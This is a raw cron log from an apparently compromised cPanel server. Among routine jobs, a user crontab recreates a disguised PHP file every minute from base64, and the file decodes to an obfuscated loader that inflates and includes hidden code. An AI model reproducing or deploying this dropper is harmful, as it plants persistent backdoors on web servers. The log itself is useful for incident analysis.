UFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:06:01 server CROND[26280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:06:01 server CROND[26281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:07:01 server CROND[26644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:07:01 server CROND[26645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:07:01 server CROND[26646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:08:01 server CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:08:01 server CROND[27026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:08:01 server CROND[27025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:09:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:09:01 server CROND[27404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 21:09:01 server CROND[27405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:09:01 server CROND[27403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:10:01 server CROND[27891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:10:01 server CROND[27892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:10:01 server CROND[27900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:10:01 server CROND[27910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:10:01 server CROND[27912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:10:01 server CROND[27915]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:10:01 server CROND[27911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:10:01 server CROND[27914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:11:01 server CROND[28800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:11:01 server CROND[28802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:11:01 server CROND[28801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:12:01 server CROND[29186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:12:01 server CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:12:01 server CROND[29187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:12:01 server CROND[29188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:13:01 server CROND[29563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:13:01 server CROND[29564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:13:01 server CROND[29565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:14:01 server CROND[29930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:14:01 server CROND[29931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:14:01 server CROND[29932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:15:01 server CROND[30418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:15:01 server CROND[30420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:15:01 server CROND[30421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:15:01 server CROND[30422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:15:01 server CROND[30424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:15:01 server CROND[30425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:15:01 server CROND[30423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:15:01 server CROND[30426]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 21:16:01 server CROND[31288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:16:01 server CROND[31289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:16:01 server CROND[31290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:17:01 server CROND[31662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:17:01 server CROND[31663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:17:01 server CROND[31664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:18:01 server CROND[32038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:18:01 server CROND[32039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:18:01 server CROND[32040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:19:01 server CROND[32412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
